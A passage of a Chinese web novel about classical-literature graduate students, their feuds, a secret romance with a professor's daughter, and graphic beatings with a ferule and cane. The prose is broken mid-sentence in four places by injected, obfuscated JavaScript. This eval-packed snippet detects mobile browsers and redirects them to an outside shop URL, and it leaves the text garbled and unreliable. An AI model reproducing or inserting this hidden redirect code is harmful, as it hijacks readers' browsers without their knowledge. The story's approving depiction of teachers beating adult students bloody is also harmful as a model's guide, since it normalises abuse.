“辰辰是该跟阅冬道声谢,”秦昭阳开口了,“等会吃了饭,辰辰送你师兄下去。” 秦嘉辰把碗往桌上一放,正要拒绝,就见柏阅冬得意道:“那就麻烦师妹了!” 秦嘉辰再次恶狠狠瞪了她一眼。 夏天不知何时悄悄回归了,似乎大家还没反应过来,白昼就渐渐拉长了。吃完晚饭出门时,路灯初上,还隐约能看见远处夕阳没入残留的光影。本是宁静祥和的夜,却被两个年轻人冲撞开了。 秦嘉辰语气不善,送到楼梯口就猛地挥手:“赶紧走吧!” “这就是你对恩人的态度啊?你爸你妈可都说你该跟我道谢呢!”柏阅冬倒不稀罕她的道谢,只是她背后捅人一刀实在不应该。 秦嘉辰扭过头去:“不就买了几本书吗?” “对,就买了几本书,以后你自己买!你这种背地告状的小人,我再帮你,我就跟你姓!” 秦嘉辰心口一堵:“你!你说什么?” “我说什么你心里有数!要不是你告状,我才不会挨打!” “我!”秦嘉辰气得什么都不想说了,“你给我等着!”说着竟转头“蹬蹬蹬”上楼了。 柏阅冬不知她葫芦里卖的什么药,片刻后竟看见她抱着一摞书下来了,脸蛋在楼梯口稍显昏暗的灯光下暗红暗红的。秦嘉辰难受极了,一股脑把那些书全丢给他:“都还你!以后再也不要你帮我买书了!你也别来我们家吃饭了!我不想看见你!” 柏阅冬一怔,见她飞快地抹了一把眼角,正要说什么,秦嘉辰却转身跑了。 怀里沉甸甸的,柏阅冬没有什么得意的感觉,只嘟囔着“这么小气”,整理了一下怀里的书,慢慢回宿舍去了。 寝室灯是亮的,柏阅冬一进门就把书放在桌上,抱怨道:“秦嘉辰那个人,告我状,害我挨打,我说她,她就把书都还我了,搞得受了多大委屈似的,我才委屈好不好?” 庄遂平趴在床上看书,闻言轻笑:“你可别冤枉人家了。” “我冤枉她?要不是她回去说,我师父怎么可能知道我这段时间没学习?” 庄遂平不回应,慢慢地翻了一页书。 柏阅冬盘腿坐在床上,不知怎么的,回想起他挨打那日的情形,似乎他师父从头到位也没提过秦嘉辰,甚至没提过金庸没提过小说。难不成是他自己心虚被诓出来的?不可能不可能,再回忆一下…… 可是柏阅冬越回忆就越觉得自己误会了秦嘉辰,再看看桌上那几本书,想起她在楼梯口抹眼角的动作,有些不是滋味。 庄遂平偷偷打量着他,适时问:“真冤枉人家了?” “说不准呢!”柏阅冬嘴硬,“万一她就是装的。” 庄遂平笑了声,摇摇头,不说话了。 柏阅冬这才注意到室友的不对劲。他分明要看书,却放着桌椅不坐,非要趴在床上,而且从腰往下都盖着薄被,也许下面没有穿。 “遂平,纪老师打你了?” 他们几个要么一起挨打,要么轮着挨打,也没什么可害羞的。庄遂平嘴角动了动,苦涩笑笑。 柏阅冬下床来,有点想帮他看伤:“你上过药了没有?我给你上点药?” 眼看着被子要被掀开,庄遂平忙按住了:“别,我上过药了。” 他们三个人里,刘巍思挨打最早,没那么羞臊,柏阅冬有些少爷脾气,受了一点委屈就恨不得全世界都来哄他,唯有庄遂平,总是一个人忍着,就算再疼再难受,也从来维持着那一点单薄的体面。 “你让我看看,真没事就行。” “真没事,不用看了。” “庄遂平,你拿我当外人是不是?” 庄遂平眼眶一酸,竟有点不知如何是好。他血缘上的亲人没有多在乎他,他的老师也只有狠心没有关心,这种时候只有柏阅冬是真的在牵挂他。 他不由得松了手,柏阅冬顺势掀起薄被,看见他光裸的大腿时还想果然没猜错,就是没穿,可是下一秒,他就被眼前的景象吓傻了。 青紫斑驳的肉团上破了许多处,或是结了新鲜的小痂,或是裸露着深红色的血肉。柏阅冬倒吸一口凉气:“纪老师怎么把你打成这样?” 庄遂平笑得比哭还难看,拉上被子,道:“本来打了一百戒尺,老师见我没有反应,说教训得不够,就又挨了些。” “纪老师怎么能这样?”柏阅冬愤愤不平。 “我明早还得拿学习计划去给老师看,”庄遂平趴下来,满满的无力感,“老师要我每周汇报学习情况,阅冬,我有点害怕。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931051|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柏阅冬知道纪慎那性子,每周去汇报,遂平这屁股别要了! “遂平,你听我说,如果纪老师要求太高,你要直说你做不到。” 庄遂平惊恐地摇摇头:“不行!” 柏阅冬不解,随即便听他道:“我不能做不到,阅冬,我在家里已经没有任何存在的价值了,我不能在这里也做不到。” 柏阅冬眼中一片茫然,一个人怎么会没有存在的价值呢?更何况是在家里! “阅冬,我要做到,我一定要做到,我一定要想办法,一定要……” 柏阅冬被他念得有点难受,也不知道该说什么,便道:“那你加油吧。” 终归是各人有各人的事,柏阅冬顾不上庄遂平,倒是花了点时间打听到了外语学院的课表,在一个下午背着书包到教学楼等人去了。 下课铃一响,教室里的学生便三三两两往外走。秦嘉辰挽着一个女同学的手臂,说说笑笑地往外走,一扭头,看见穿着白衬衫的柏阅冬,立刻无缝衔接地翻了个白眼。 柏阅冬上前来:“我拿书来给你。” “用不着。” “本来就是你的书,放我那里占地方。” “不是你买的吗?什么时候变成我的了?” “你怎么不讲理?上面都是你的笔记,我看着碍眼!” 一旁的女生听着两人吵架,十分尴尬,拉拉秦嘉辰的手:“辰辰,我先走了,咱们下次有空再聊吧。”说着挥挥手,转身赶紧跑了。 柏阅冬深呼吸,自我告诫道,这是来道歉的,不是来挑衅的,一定要冷静。 “我上次说错话了,跟你道歉,行了吧?” 秦嘉辰仍旧白眼以对。 柏阅冬取下书包,拿出包里的书递给她:“别生气了成吗?还有这个,也给你。”柏阅冬递过去一盒糖,又是国外货,“我都没舍得拆,送你了。” 秦嘉辰抱了书,却不接那盒糖:“我不敢要你柏少爷的东西。” 柏阅冬硬是塞到她怀里,又去拽她的手:“我错了还不行吗?请你吃饭去——” “哎!”柏阅冬这么一拽,秦嘉辰怀里的东西就“哗啦啦”掉,两人只好蹲下来捡,简直哭笑不得。 “先放我包里吧,吃完饭再给你。” “真的请我吃饭啊?” “啊,巍思说有个东北菜馆还行,我也没去过,吃不?” “不怕我恩将仇报啊?” 柏阅冬头都要炸了:“我真错了,姑奶奶,赶紧的,我都要饿死了!” 秦嘉辰忍不住笑了下,被柏阅冬拉着往学校外头去了。 42.第 42 章 这一晚,严先生带着学生们也到外头吃饭去了。研三的师姐要毕业留校了,大家都来恭喜,席间觥筹交错,笑语盈盈,一派祥和景象。 待众人的话都说得差不多了,严先生便给刘巍思使了个眼色。刘巍思会意,撇撇嘴,端着茶杯站起来,冲着姜新宇道:“小师弟,上回我一时冲动,跟你动了手,我的不是,以茶代酒,给你道个歉。”说罢,也不管姜新宇应不应,仰头一口把茶喝了。 大家的目光都聚集到两人身上,姜新宇似乎是想笑,可怎么也扯不开嘴角,只得尴尬起身,也端起茶杯:“师兄言重了,怪我不会说话,得罪了师兄,往后还请师兄多多指教。” 刘巍思却没有再应,直接坐下了。 易堂生看姜新宇喝了茶,便打圆场:“新宇快坐,你大人有大量,你师兄还得跟你学呢!” 刘巍思一听这话,立刻拉了脸,什么叫做大人有大量,什么叫我得跟他学!气呼呼地想要瞪那两人一眼,却对上易堂生警告的目光,只得作罢。 易堂生夸别人大人有大量,自己却没什么大量,饭罢送老师回家,才进屋便兴师问罪:“刘巍思,你今天那是道歉的样子吗?” 怎么?道歉还不够?还得跪下磕头吗?刘巍思气笑了:“那要怎么道歉呢?大师兄给我示范一下吧!” “你!你现在可真是脾气大了,说你一句也不行了是不是?” 严先生坐在沙发上,被他们师兄弟俩吵得头疼:“行了,都少说两句吧,巍思到底也是受了委屈,也挨了打,堂生你就别为难他了。” “我为难他?”易堂生气血上头,连最看重的礼数都忘了,“老师,您以为您是心疼他,可您是害了他!他今天不肯正视自己的错误,明天就会再错!老师,哪怕您再宠他,再偏心他,我今天也一定要替您教训他!” 什么鬼?刘巍思觉得眼前人简直不可理喻,打了姜新宇要挨打,给姜新宇道歉道得不好也要挨打,怎么?他干脆把姜新宇供起来,一天三炷香烧着呗! 为了姜新宇,他已经挨过一回打了,今天绝不可能! 刘巍思一言不发,抬腿就往卧室跑,可易堂生一直盯着他,立刻跟上了他的动作,没两步就一把逮住了他,跟提小鸡似的把人往书房拽了去。 严先生大骇,立刻起身跟上。 易堂生这两回教训师弟都不讲究章法,把人一摔,拿了竹鞭就抽,“啪啪啪”连着好几下落在刘巍思臀腿上,疼得刘巍思一边叫一边躲,不一会儿就瑟缩到墙角去了。 严先生来得快,说什么也不给打了,上手去拽竹鞭:“堂生,时间不早了,你先回去吧,巍思的事,我来处理。” “老师……” “好了,先回去吧。” 易堂生虽然很不满意老师总是这样偏袒刘巍思,但他也不能总是下老师面子,只得躬身应是,狠狠瞪了一眼刘巍思之后,离开了。 刘巍思感受着身后火辣辣的疼痛,见大师兄走了,眼泪瞬间淌了下来。 “巍思,过来,老师看看。” 刘巍思呆呆地走来,哑声道:“他就这么偏心姜新宇。” 严先生暗叹,这几个学生,往后怕是不得安生了。 “来,不想这些,老师带你回房瞧瞧。” 刘巍思跟着老师走,眼泪却不停:“姜新宇来了,他就不稀罕我这便宜师弟了。” “胡说!” “是真的,老师,我感觉到了,我都感觉到了。” 严先生禁不住叹气出声,揽着小孩,慢慢地往房里去了。 纪慎和秦昭阳在学院里争取了一间小办公室给学生们整理古籍用,位置就在三楼靠楼梯处,离纪慎和秦昭阳的办公室都不远,方便他们随时去盯梢。 简单收拾了一下,整理校对元好问词集的工作就开始了。 “你们手上各拿了一个版本的元词,这两个就是我们的底本。”柏阅冬道,“你们两个的工作就是把这些词按照顺序誊抄出来,当然要顺手句读,方便我们之后对校和他校。” 拿着两个底本的正是庄遂平和姜新宇。庄遂平是没什么话说的,有活就干,姜新宇却没那么好使唤,当即问:“我们整理底本,那柏师兄您做什么呢?” 姜新宇挑眉的动作也许只是出于习惯,但在柏阅冬眼里可太像挑衅了。柏阅冬想,就是你为难巍思是吧? “我当然有更重要的事情做啊!”柏阅冬拍拍桌上摞得高高的一堆材料,“我要通读元好问的文献,要梳理他的词学思想,明白吗?” 姜新宇浅浅笑了:“词学思想,那可是直接出文章的东西。” 柏阅冬在心底翻了个白眼,还说什么家里都是教授研究员呢,眼皮子这么浅! “我们工作量这么大,文献这么多,姜师弟你还愁没有文章?”柏阅冬顿了顿,嗤笑一声,“师弟是不是觉得做不完啊?我可提前告诉你,咱们做古代文学就是天天跟这些东西打交道,要是这点东西都校不完,师弟恐怕毕不了业啊!” 姜新宇闲闲地翻开第一页,看了一会又看向庄遂平:“那倒不至于,我好歹正儿八经读了本科,这点活还是干得完的,柏师兄要是担心我,不如担心庄师兄。” 啧,怎么无差别攻击呢?柏阅冬下意识看了一眼庄遂平,果然眼尖地抓住了遂平嘴角那一抹略带苦涩的笑。 “有空就赶紧干活,别磨磨蹭蹭的!” 三个人就这么过上了面和心不和的日子。因着这工作十分重要,时而有人来慰问他们,一开始是学院里的老师,经过都看一眼,后来连童院长都来了,一个劲地夸柏阅冬组织得当,工作开展得有条理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949122|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又夸庄遂平踏实肯干,最后还是落到姜新宇身上,说他性子温顺,未来不可限量。 柏阅冬想,还温顺呢!天天搁这装小喵咪! 那日童院长走了不久,刘巍思就来了,进门时还笑着,目光一和姜新宇交汇,听到他喊一声师兄,便立刻笑不出来了。 庄遂平忙招手:“巍思你来得正是时候,我这里正好不会句读呢,你来教我。” 刘巍思没理姜新宇,径自往庄遂平那里去了。庄遂平一页纸只誊抄一首词,方便下面写校对情况,一张张,工整又漂亮。 “你整理了这么多了?” “不算多,你看,还有这么一堆呢!”庄遂平笑了笑,指着其中一排密密麻麻的小字,“你来看这个怎么断。” “这多简单,你看它多词牌名,踏莎行么,你随便背一首,跟着断就行。” “我知道,之前好多我都是按照词牌的格律断的,可是这里,字数对不上。” 刘巍思歪着头,细细瞧了,确实少一个字:“应该是脱字了,要是多了,就是衍字。” 柏阅冬侧耳听着,适时道:“遂平,你就在下面写哪一句脱字,到时候校对其他版本就会知道的。” “行,那我先写上。” “阅冬,遂平的字好好看,比你的好看。” “刘巍思你闭嘴吧,不来帮我干活,还在这里说三道四!” “我有自己的事,老师不给我来。” 柏阅冬只觉好笑,怎么还嘚瑟上了?“哎,听说你又要发文章了是不是?” “哦,没呢,就是刚投出去,是我毕业论文的文献综述,老师说写得挺好,就让我投出去试试。” “你还要试什么?这不是十拿九稳?” “哪有这么简单?”刘巍思笑着,可下一秒,却笑不出来了——易堂生怎么来了? 这办公室的门是开着的,易堂生也是经过,想起姜新宇在这里帮秦老师整理文献,便想着过来看一看,哪想刚到门口却是先看见刘巍思了? 刘巍思有点尴尬,本该礼数周全地唤一声师兄,可想到上一回他那么偏心,便不愿意叫了。 倒是姜新宇乖觉,见了易堂生,立马起身,笑着唤道:“大师兄!” 易堂生笑着走过去:“听说你在这里,我经过就来看看,怎么样?还适应吗?累不累?有没有什么困难?” “还好,暂时没遇到什么问题,如果有问题,我会问各位师兄的。” “那就好,我还担心你忙不过来呢!” 师兄弟一派亲密友爱的景象,柏阅冬却不自觉看了刘巍思一眼,只见刘巍思顿时沉了脸,呆了一会儿,突然抬脚往门外去了。 柏阅冬想叫他,到底没叫出声。 易堂生面上还笑着,可眼里却没了笑意。 43.第 43 章 除了各种各样的来客,这个小办公室也常能接到各种慰问电话,有一回姜新宇家里人打电话过来,细细交代各种事情。柏阅冬一边听他应着声,一边想,这都多大个人了,有必要吗? 不过柏阅冬嘲笑完姜新宇没多久,也接到了神秘电话。他歪着头夹着听筒,手上还翻着资料:“现在就吃晚饭了?会不会太早了?” “嗯,那也行吧,去哪儿吃?” “行啊,那老地方见,等我一会。” 柏阅冬挂了电话,看着还埋头干活的那两人,有点不好意思地挠挠头,道:“那个,时间也不早了,要不你们也先吃晚饭去呗!” 这会才下午四点多,而且夏天来临之后,日子变长许多,再怎么说,这个点都挺早的。 庄遂平实实在在地誊抄文献,道:“我还不饿,再整一会,你们先吃吧。” 姜新宇却是看出了点不对劲,笑道:“柏师兄有事就先走吧,不要让别人等久了。” “有什么别人啊?”柏阅冬不想在他面前丢人,“跟你刘师兄吃饭,有什么问题吗?” “当然没有,柏师兄请便。” 柏阅冬瞟了他一眼,昂着脖子就走了。 说回来也是倒霉,柏阅冬平日都乖乖干活的,可这么早走一回,就碰上他师父来查班。秦昭阳迈进办公室时已是六点多,里头还剩庄遂平一个人,庄遂平打过招呼后就继续抄书了。 秦昭阳看了看柏阅冬桌上的文献,眉头微蹙——这进度也太慢了,这个速度什么时候能把文章写出来? “遂平,柏阅冬呢?上哪儿去了?” “他吃饭去了,应该快回来了吧。”庄遂平还记得柏阅冬走前说的话,“说是跟巍思去吃饭,可能去外头吃了。” 秦昭阳眉头蹙得更深了,他刚刚还在楼下看见刘巍思陪严先生散步,难不成这世界上有两个刘巍思? 正奇怪呢,就见柏阅冬手里拿一串红彤彤的冰糖葫芦,蹦跶着进来了,脸上还带着残留的笑意。 柏阅冬余光瞥见师父,右手一抖,忙将冰糖葫芦往身后一藏,猛然反应过来藏不住了,又想往外拿,不上不下的,颇为尴尬。 “师父,您怎么来了?” “你上哪儿去了?”秦昭阳打量着他,越看越不对劲,满面春风的,哪是跟刘巍思吃饭? “就,吃饭啊,总不能连饭都不给吃吧?” “跟谁吃饭?” 柏阅冬拼命眨眼:“朋、朋友啊!” “刘巍思?” 柏阅冬心下一松,幸亏刚刚没直接说刘巍思,现在还有挽回的余地,当即摆出一副不耐烦的样子:“那是我拿来搪塞姜新宇的,他什么都问,我才不告诉他。” “那你告诉我,你跟谁吃饭去了?” “就,”柏阅冬头一抬,“就别的朋友啊,不是我们学院的,您也不认识。” 秦昭阳不反对他交朋友,但还是觉得他太反常了,追问道:“吃饭就吃饭,吃完还买冰糖葫芦干什么?” “我……”柏阅冬眼珠子一转,径直走向庄遂平,“这是给遂平买的,他说他想吃,让我帮他买回来。” 庄遂平:“……” 秦昭阳一眼看穿小孩在撒谎,可又碍于一时之间拆穿不了他,只得转移话题:“我警告你,赶紧的把这些文献看完,这周文章框架出不来,你就等着挨打!” “知道了知道了,我连夜看行了吧?”柏阅冬哼了一声,自顾自坐下翻书,只留给他师父一个后脑勺,以示送客。 秦昭阳伸出食指,撵了他脑袋一下,这才勉强放过了他。 庄遂平渐渐感觉到,他们三个虽然还是会偶尔一起吃饭一起说笑,可明显各人有了各人的心事,如同那日柏阅冬突然塞到他手里的冰糖葫芦,有些莫名其妙,可根本不容拒绝。 柏阅冬有了令人摸不着头脑的笑容,他有了更长更多失眠的夜晚,而刘巍思有了捉襟见肘的四处躲避。 但刘巍思的躲避,也常常有避无可避的时候,比如在严先生家里开师门会议,他就不得不面对所有不想面对的人。 “巍思,给大家倒水。” 因着刘巍思住在这里,严先生都是让他做这些杂事的,摆椅子,倒水,接人送人,这些年来刘巍思从没埋怨过一句,可是今天却明显不高兴了。 易堂生和姜新宇坐在一处,刘巍思倒了两杯水安安静静地放在他们面前,话没有一句,让易堂生十分不满。 姜新宇笑着道谢:“谢谢刘师兄,麻烦师兄了。” 刘巍思没有应,易堂生轻轻白了一眼,道:“这都是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972680|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分内事,你也不必跟他说谢,见外。” 刘巍思垂着眼眸,转身走了。 一共六个人,连同已经确定要毕业留校的师姐也在。严先生一一看过他们交过来的文章,细细做了点评,众人又针对这些内容做了一些交流,不知不觉间,两个小时就过去了。 这两个小时里,刘巍思几乎没说话。 到最后,易堂生仿佛想起什么似的:“老师,怎么没见巍思的文章?” “他最近没写什么,上回那篇文献综述投咱们学校学报了,应该这几天会有回复了。”严先生道,扭头看向小孩,“跟你师兄说说?” 刘巍思懒懒道:“没什么好说的,等刊出来就看到了。” 易堂生不由得瞪了他一眼,真想再把他拖进书房打一顿,哪有这样当师弟的?做师兄的都给台阶下了,还不知珍惜! “老师把关,应该是没问题的,不然刊出来,可就丢人现眼了。” “文章写得好不好,下面都是我的名字,”刘巍思盯着他,一点不怯,“不劳别人费心。” “新宇,你瞧见了,你刘师兄一人做事一人当,连师门也不放在眼里了。” 刘巍思突然鼻尖微酸,生气就生气,扯什么姜新宇?! 余光瞥见刘巍思还要反驳,严先生忙按住了:“好了,也说得差不多了,今天就先散了吧,有什么再说。巍思,送大家出去吧。” 刘巍思没什么心情,恹恹的把几个人送到楼梯口就回来了,呆愣愣地收拾桌上的水杯。 严先生叹声气,道:“你要跟你大师兄置气到什么时候?” “我没有跟他置气,我是看清了,他心里只有姜新宇,根本不在乎我,”想起方才易堂生的话,刘巍思不由得冷笑一声,“说我还不够,还要把姜新宇扯进来看我笑话。” “巍思,你大师兄不是那样的人,他看重新宇,也看重你,这不冲突。” “但是他只偏心姜新宇,不会偏心我。”刘巍思拿着杯子去厨房洗了,一个个摆进柜子里,浑身像卸掉了力气似的,轻轻倚着柜子,一动不动。 严先生走过来,拉着他的手拍了拍,笑着带他回房去了。 “不怕,大师兄不偏心你,老师偏心你。” “嗯。”刘巍思带着哭腔应了声。 44.第 44 章 周末一来,秦昭阳就大手一挥让学生们都休息去了,毕竟是大工程,一天两天也做不完,不急在周末这点时间。 学生们一跑,秦嘉辰也来嚷嚷着周日要出去玩。秦昭阳眉心一蹙,警告道:“你暑假就要去法国参加比赛了,不好好准备一天到晚瞎跑什么?” 秦嘉辰一脸不高兴:“准备比赛也得劳逸结合呀!再说了,我们老师都不着急,您急啥?” “好,随便你,到时候耽误了别找我哭。” 秦嘉辰哼了一声,扭头走了。 结果这一走,从早上到晚上,人影都没见着。眼看就要九点了,秦家夫妻俩都都点着急,妻子站起又坐下,絮絮叨叨地问要不要出去找找看。秦昭阳也急,可一时也不知道去哪里找,女儿出门前压根没说今天去哪儿,也没说和谁一起,现下要找也是无头苍蝇,根本没有方向。 “你先坐下,晃得我头晕。” “你怎么坐得住啊?辰辰这个点都没回来!万一在外头出了什么事……”妻子掩面,“我,我不活了!” “行了行了,不就晚点回来么?她那么大个人,能有什么事?” “就是这么大个人才危险呢!辰辰才二十岁,万一,万一……” 秦昭阳心乱如麻,烦躁地起身到阳台去了,想看看外头有没有孩子的身影。好巧不巧,一望过去,便瞧见两个人推着一辆自行车正慢慢往宿舍区走来。 秦昭阳心中一热,高兴地想,走在旁边的女孩就是辰辰,那自行车也是她的,他绝不会认错!可是,是个男的在推车。 这推车的男的,秦昭阳也熟得不得了,正是他一天到晚恨不得打八顿的柏阅冬。 他们两个怎么会在一起的?还这么晚才回来。 昏黄路灯光下的男女还不知道自己被偷窥了去,正依依不舍地告别。秦嘉辰耷拉着脑袋,有点不开心:“就要回去了?” 柏阅冬笑笑:“再不回去,师父师母要急哭了,玩了一天,先回去休息吧。” “可是我不累啊!” 柏阅冬也不累,甚至觉得还可以再去逛一圈故宫,可是再不舍得也没办法。 “好啦,先回去,明晚一起吃晚饭?” “嗯,咱们去吃那个东北菜馆子吧,那个好吃。” “好,你想吃什么就吃什么。”推着自行车到了宿舍楼下面,柏阅冬把车还给她,“那,晚安。” “晚安。” 柏阅冬等她扶好车,挥挥手就要走。秦嘉辰停在原地,看着他单薄的身影,感觉他身上的味道正慢慢散去,心中缱绻不已,猛然唤出声:“师兄!” 柏阅冬一手插在裤兜里,微微侧身,笑道:“回去吧。” “师兄!” 柏阅冬颇为无奈,摇摇头,折返回来,朝她伸出了手。 秦嘉辰高高兴兴地拉住了他的手。 年轻人的手心微热,在夜幕下握暖了时间。 “好啦!” “师兄再见!”秦嘉辰几乎合不拢嘴,咬着下唇勉强道,“师兄看着我走!” “好,去吧。” 秦嘉辰终于扭头,蹦蹦跳跳推着车走了。柏阅冬看着她的背影,忍不住笑出了声。 秦嘉辰觉得自己的心被柏阅冬填得满满的,根本没想过父母在家里等了她许久,待得她万分欢喜地回到家,却见到面目凝重的父亲和快急疯了的母亲时,竟一时怔住了。 “你这个孩子,去哪里了啊?!”母亲一下扑上来,语带哭腔,“也不跟爸妈说一声,你想急死我们是不是?” 秦嘉辰顿觉羞愧,立刻收心,道:“对不起,妈,我忘记时间了,以后不会了。” “你回来晚,好歹也打个电话回家,妈看不见你,心里慌死了,就怕你在外头有个三长两短,到时候妈还活不活?” “妈,别说这种话,”秦嘉辰赶紧扶着母亲坐下,“不会出事的,我这么大个人,会照顾自己了。” “你真的没事?” “没事。” 秦昭阳一直坐在旁边,听她们母女说了好一会话,才对妻子道:“辰辰没事,你赶紧回去歇着吧,明天上班呢!我跟她说几句话。” 妻子点头应了,起身回房去了。秦嘉辰看着母亲的背影,才松了一口气,转头却看到父亲几乎沉得能出水的面容,不禁心头一跳。 “爸,”秦嘉辰乖乖站好,决定再乖一点,“爸爸,您要跟我说什么呀?” “断了。” “什么?”秦嘉辰没听清。 秦昭阳抬头看着她,脸上写满了不容置疑:“我说你和柏阅冬,断了。” 秦嘉辰心一慌,想,爸爸看见了。 秦昭阳站起身,道:“以后不准跟他出去,也不准私下见他,好好准备你的比赛,毕业了就出国,别分心。” “爸!”秦嘉辰终于反应过来了,“凭什么呀?我们这是,是自由恋爱!” “凭我是你爸,别的事可以由着你,这件事不行。” “爸!”秦嘉辰还要说,却被父亲狠狠瞪了一眼,再不敢说了。 第二天一早,柏阅冬刚进办公室坐下,就被秦昭阳叫走了。柏阅冬耸耸肩:“你们两个先干着吧,我去一趟。” 庄遂平笑笑:“看来今天只有新宇一个人干活了,我等会也去老师那里。” 柏阅冬见他笑得勉强,颇为难受,却不好在姜新宇面前说什么,只道:“你跟纪老师说,你还要干活呢!” 言下之意,提醒一下纪老师别打得太过分了。 庄遂平扯扯嘴角:“老师知道的。” 但是他并不会在乎。 柏阅冬叹声气,起身往秦昭阳办公室去了。 不到两分钟的路程,他一路哀叹着庄遂平又要吃苦头了,却不想一进门就听见秦昭阳言简意赅的命令:“门锁上,站过来,裤子脱了。” 柏阅冬何其聪明,连震惊都没有,关上门的一瞬间已经明白了——师父大概知道他和秦嘉辰的事了,也许是师父自己看见的,也许是嘉辰回去说的,但无论知晓的方式如何,师父都不高兴。 柏阅冬深呼吸,径直走到师父身旁,几乎没有犹豫地褪了裤子,弯腰,两手手肘撑在桌上。 “啪”一声,戒尺毫无征兆地抽了下来,身后猛然炸开的疼痛让柏阅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010707|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬一下闭紧了双眼,他忽然反应过来,也许以前秦昭阳都没有全力打过他,而他今天就要见识到秦昭阳的全力了。 秦昭阳一言不发,扬起戒尺就打,“啪啪啪”的声响回荡在办公室里,在柏阅冬白皙的屁股上烙上一道道红痕。柏阅冬握紧拳头,紧咬下唇强忍了十几下,只觉身后一片热辣滚烫,痛麻不已,可戒尺根本没有停下的意思。 “唔……师父……”柏阅冬忍了二十来下,终于扛不住出了声。他不期望师父就此放过他,只希望师父能嘴上教训他几句,好让他有片刻喘息之机,可秦昭阳根本不理会他,只蓄足劲挥动手上的戒尺,“啪啪啪啪”地抽落,将柏阅冬的屁股打得足足肿起一指高。 柏阅冬头一回这么乖巧挨打,不多时额上热汗尽出,缓缓聚成汗滴往下淌,就连撑着桌面的手肘也滑腻不堪,双膝更是在戒尺的一下下责打下屡屡打弯,渐渐维持不住姿势了。 “师父……疼……慢……慢一点……呃啊……” 戒尺一连落了七八十下,直到柏阅冬整个屁股都红肿透亮,隐隐约约透着血丝,秦昭阳才停手。 “知道我为什么打你?” 柏阅冬长长地松了一口气,抬手擦掉脸上的汗,口干舌燥道:“是因为嘉辰吗?” 秦昭阳见他如此通透,更加生气,怒道:“你知道,你还背着我和辰辰在一起!” “是因为我们没有告诉您吗?”柏阅冬忽然有些害怕,连声音都放轻了,“还是因为,您不愿意我们在一起?” 都是血气方刚的年纪,又都不愿意分开,秦昭阳似有不忍,可也很快压了下去,冷声道:“柏阅冬,叫我师父可以,但是叫我岳父,不可能。” “为什么?”柏阅冬猛地直起身子,却被身后的伤扯得龇牙咧嘴,边倒抽凉气边道,“我和嘉辰是自由恋爱!我们都是自愿的!” “你们自愿是你们的事,我不同意!” “你!”柏阅冬气血上脑,口不择言,“你这个封建大家长!你这是在扼杀纯洁的爱情和自由的灵魂!” 那个时代,整个社会都在提倡自由平等,开放包容,年轻人以自由恋爱为时尚,最爱标榜精神的契合、心灵的纯洁。秦昭阳纵然上了年纪,可也不曾多么专制,一时被柏阅冬扣上这样的帽子,更是怒火中烧,拽着他的手臂将人往桌上一按,喝道:“好!我今天就让你见识见识,什么叫做封建大家长!”说罢,那厚实的戒尺又接二连三抽了下来,疼得柏阅冬“啊啊啊”叫唤起来。 柏阅冬屁股已是重伤,哪里受得这样的痛打?不过十几二十下过去,好几处油皮就被抽破了,缓缓向外冒着血丝,柏阅冬感到身后火辣辣地疼,眼泪一层层涌上,模糊了视线。 “啊!师父!” “救命!好痛!” “师父!别打了!啊!” “啪”一声,戒尺再次抽出一道血痕,秦昭阳停下手,道:“今天你就跟辰辰断了,不然你这个屁股,别要想了。” “唰”一下,柏阅冬眼泪流了下来,一瞬间委屈不已:“师父,您有这么看不上我吗?” 秦昭阳一怔,竟不知如何作答。 45.第 45 章 同一层楼,另一头纪慎的办公室同样锁上了,庄遂平站在办公桌前,低着头,一副任打任骂的模样。 纪慎瞧他这个样子就来气,同一届的学生,刘巍思懂事知礼,柏阅冬活泼讨巧,他却是一个木头桩子,呆气木讷得紧,一点不讨人喜欢。 可到底是自己的学生,纪慎耐着性子,问:“上周的学习情况,自己说。” “我,”庄遂平微微抬起头,眼底的青黑和无神的目光出卖了他的状态,“我上周在帮秦老师整理元好问的词,已经抄了两卷了。” “除了这个呢?” 